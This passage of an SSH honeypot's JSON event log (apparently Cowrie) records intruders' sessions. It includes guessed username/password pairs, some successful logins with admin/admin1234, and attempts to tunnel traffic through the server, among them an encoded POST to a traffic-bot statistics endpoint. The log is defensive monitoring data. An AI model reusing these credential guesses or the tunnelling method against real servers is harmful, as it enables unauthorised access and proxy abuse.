mac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:47.279683Z","src_ip":"123.27.168.40","session":"420569293576","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:48.449301Z","src_ip":"123.27.168.40","session":"420569293576","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:48.840441Z","session":"420569293576","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":57979,"dst_ip":"10.17.0.5","dst_port":22,"session":"db5904104b44","protocol":"ssh","message":"New connection: 173.208.188.210:57979 (10.17.0.5:22) [session: db5904104b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:49.359213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:49.364380Z","src_ip":"173.208.188.210","session":"db5904104b44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:49.417845Z","src_ip":"123.27.168.40","session":"420569293576","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1206\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=cEdyb20%2BOUExazlUUmk%2FUw%3D%3DjkorZzb4WkE62s7Et%2Bv%2BNd1Gb4OTh2CApTAmen1qQgXO7OBVJPeDoTlgMQ66o9xcBBzO5E5Cc6b%2FmH1Mb59kUx4FYH9mnPRskI8%2BUg7%2FJGx7QvtqRLM4SzX0ZwGRkUQhyXG7PthGT%2BqAHTuiWiGc2FaolbLADoE7bI%2F9o6gmTxn2qqm%2BKke1LoSrUUrbg0HUygHJz0DigBZzXXm1RlLOoE11svrL2zfd3eVwWjQXXtGRKh3l4%2F8CCptCCR5eFiQTOj1J1qAJPHURsGUBVKcYllOHWfp1MpNjJqlWKk6UAtZ1UAMXpDlYg13eykbnq6i%2FUgBbODsXMm99P0bGIv7xQqzOjbFs%2B%2Fr0uCuNqa2V2%2Frx5k2Rfja9zZM8nq2CQle6Q56gqQuRF3NKb3ISrA9GIdYLijW7EZZS8LzfvtL0CVWdavItpDAGzcLJq53Y%2FJ5ibBNxc%2FAhuWjmXxg8PMF6rNYY%2BeyHW1IvTScMyJBfgQ70cuw23yCD6kW8UKRhCXz2%2BonlII7sN8tblCfuu3LGIxxgVKwei%2BfUlE2%2FMAqshdEID7tTPqEQH4yTCmRLwD93np5sbIgjYMmUldc%2B7qaSM3Vg5Pww%2FtzUqPtfNjrUf4Dox56cTxxzL4Hiv29RWtbPnW0WLqYFs4HYxxH%2BVJ4Efo%2Bh1pjXNHkL%2FSTy%2F7VYGRexCkv4u1%2FPmK47Chkuhu%2BKqIXS39%2B4Gurru4D96VgMMkmnLKMeX7OWWPrT%2BhsfI3%2FLSWH2%2Fqull7o59vUOrxVVINfSqv0qigMA%2F5HLHp8zKe5g7EbTobVeGWrfBiVgi7lw4oVci3RKtvyWX9hCForvIkZqIZta3lixG4%2FwkwBa9E%2B9XIOacVEUESFZvvPDEa%2FiJseN5IiLUaaEThUxQJM867EgsVuE8%2BbgLuhJ%2FLgsZaHAGU8RRXzRhcf3IUQxLtUOfrlBsp6Uv9h07JOWK2XR1xmROTFooMmOEtNjzSg6EwuVjfvwbbFp%2F%2FXRkGrAhsycSe2ABmizn%2FelTfv5AB5iYi05Pnxxy0AyMMNILt%2FBtELfc2366rg0lS3uDsJNB%2B3YdXLQbZSgjsk7AK994G19'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1206\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=cEdyb20%2BOUExazlUUmk%2FUw%3D%3DjkorZzb4WkE62s7Et%2Bv%2BNd1Gb4OTh2CApTAmen1qQgXO7OBVJPeDoTlgMQ66o9xcBBzO5E5Cc6b%2FmH1Mb59kUx4FYH9mnPRskI8%2BUg7%2FJGx7QvtqRLM4SzX0ZwGRkUQhyXG7PthGT%2BqAHTuiWiGc2FaolbLADoE7bI%2F9o6gmTxn2qqm%2BKke1LoSrUUrbg0HUygHJz0DigBZzXXm1RlLOoE11svrL2zfd3eVwWjQXXtGRKh3l4%2F8CCptCCR5eFiQTOj1J1qAJPHURsGUBVKcYllOHWfp1MpNjJqlWKk6UAtZ1UAMXpDlYg13eykbnq6i%2FUgBbODsXMm99P0bGIv7xQqzOjbFs%2B%2Fr0uCuNqa2V2%2Frx5k2Rfja9zZM8nq2CQle6Q56gqQuRF3NKb3ISrA9GIdYLijW7EZZS8LzfvtL0CVWdavItpDAGzcLJq53Y%2FJ5ibBNxc%2FAhuWjmXxg8PMF6rNYY%2BeyHW1IvTScMyJBfgQ70cuw23yCD6kW8UKRhCXz2%2BonlII7sN8tblCfuu3LGIxxgVKwei%2BfUlE2%2FMAqshdEID7tTPqEQH4yTCmRLwD93np5sbIgjYMmUldc%2B7qaSM3Vg5Pww%2FtzUqPtfNjrUf4Dox56cTxxzL4Hiv29RWtbPnW0WLqYFs4HYxxH%2BVJ4Efo%2Bh1pjXNHkL%2FSTy%2F7VYGRexCkv4u1%2FPmK47Chkuhu%2BKqIXS39%2B4Gurru4D96VgMMkmnLKMeX7OWWPrT%2BhsfI3%2FLSWH2%2Fqull7o59vUOrxVVINfSqv0qigMA%2F5HLHp8zKe5g7EbTobVeGWrfBiVgi7lw4oVci3RKtvyWX9hCForvIkZqIZta3lixG4%2FwkwBa9E%2B9XIOacVEUESFZvvPDEa%2FiJseN5IiLUaaEThUxQJM867EgsVuE8%2BbgLuhJ%2FLgsZaHAGU8RRXzRhcf3IUQxLtUOfrlBsp6Uv9h07JOWK2XR1xmROTFooMmOEtNjzSg6EwuVjfvwbbFp%2F%2FXRkGrAhsycSe2ABmizn%2FelTfv5AB5iYi05Pnxxy0AyMMNILt%2FBtELfc2366rg0lS3uDsJNB%2B3YdXLQbZSgjsk7AK994G19'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:49.421970Z","src_ip":"123.27.168.40","session":"420569293576","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:49.516095Z","src_ip":"173.208.188.210","session":"db5904104b44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":50120,"dst_ip":"159.203.135.109","dst_port":22,"session":"c41a03ff7d9a","protocol":"ssh","message":"New connection: 103.60.242.169:50120 (159.203.135.109:22) [session: c41a03ff7d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:49.932492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:49.937122Z","src_ip":"103.60.242.169","session":"c41a03ff7d9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:50.196560Z","src_ip":"103.60.242.169","session":"c41a03ff7d9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123!!","message":"login attempt [root/Asd123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:51.252046Z","src_ip":"103.60.242.169","session":"c41a03ff7d9a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:52.178934Z","src_ip":"173.208.188.210","session":"db5904104b44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":59135,"dst_ip":"10.17.0.5","dst_port":22,"session":"747dcdc6f140","protocol":"ssh","message":"New connection: 123.27.168.40:59135 (10.17.0.5:22) [session: 747dcdc6f140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:52.279937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:52.283895Z","src_ip":"123.27.168.40","session":"747dcdc6f140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:52.510584Z","src_ip":"103.60.242.169","session":"c41a03ff7d9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:52.534234Z","src_ip":"123.27.168.40","session":"747dcdc6f140","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:53.653739Z","src_ip":"123.27.168.40","session":"747dcdc6f140","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:54.372507Z","session":"747dcdc6f140","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:54.623121Z","src_ip":"123.27.168.40","session":"747dcdc6f140","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03.\\x1be\\x7f6\\xbb\\x9c4\\xb0\\'\\xd2]\\xb3\\xaa\\xc4\\xd7F\\x85\\xb2\\xac*\\xe0\\x8f\\xf1W\\xb3\\x14\\x0f\\x01\\xccK\\x9c \\xcb\\xa5\\xe0n\\xad\\x01\\xf7)\\xc1K\\xc5Q\\xc7?\\x88\\xd1\\xf1y\\x05N\\x9bH\\x1f=T\\x9f\\xf99\\xcc\\xf8\\x18\\x91\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9c\\\\9\\x90Y\"\\xfa\\x8c\\xa8\\xbd\\xe3@\\xff\\x91\\xc1\\xf5R\\x9e\\xa3\\xb7zjPqNV\\xee\\x08\\xac\\xb7\\xb8c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03.\\x1be\\x7f6\\xbb\\x9c4\\xb0\\'\\xd2]\\xb3\\xaa\\xc4\\xd7F\\x85\\xb2\\xac*\\xe0\\x8f\\xf1W\\xb3\\x14\\x0f\\x01\\xccK\\x9c \\xcb\\xa5\\xe0n\\xad\\x01\\xf7)\\xc1K\\xc5Q\\xc7?\\x88\\xd1\\xf1y\\x05N\\x9bH\\x1f=T\\x9f\\xf99\\xcc\\xf8\\x18\\x91\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9c\\\\9\\x90Y\"\\xfa\\x8c\\xa8\\xbd\\xe3@\\xff\\x91\\xc1\\xf5R\\x9e\\xa3\\xb7zjPqNV\\xee\\x08\\xac\\xb7\\xb8c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:54.627597Z","src_ip":"123.27.168.40","session":"747dcdc6f140","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:54.886909Z","session":"747dcdc6f140","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:55.141455Z","src_ip":"123.27.168.40","session":"747dcdc6f140","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03J\\xb4\\xbd\\x03\\xbe\\xf9\\xa4\\xf8\\xb3\\x9d\\xb5\\xb0\\xc0\\xd4\\x81\\xf2\\xe8\\r\\xed\\x90\\x8e\\xa6\\xef[\\x86\\x90S\\x98\\xfd\\x19_\\xa3 :Y0\\xd6\\xb5{\\xc9+NM#I\\xcb\\x01\\xb5\\x86_\\xff\\xd0\\xe0\\xe4\\xa2\\x1f|08\\xb3\\x0e\\x91\\xf2\\xd8\\x94\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 _p2\\x048\\xd6\\xa0\\x93ce\\xa4\\tA96\\xa6\\xa38\\xe9/\\xc3\\xdd\\xcf\\x87\\xe5 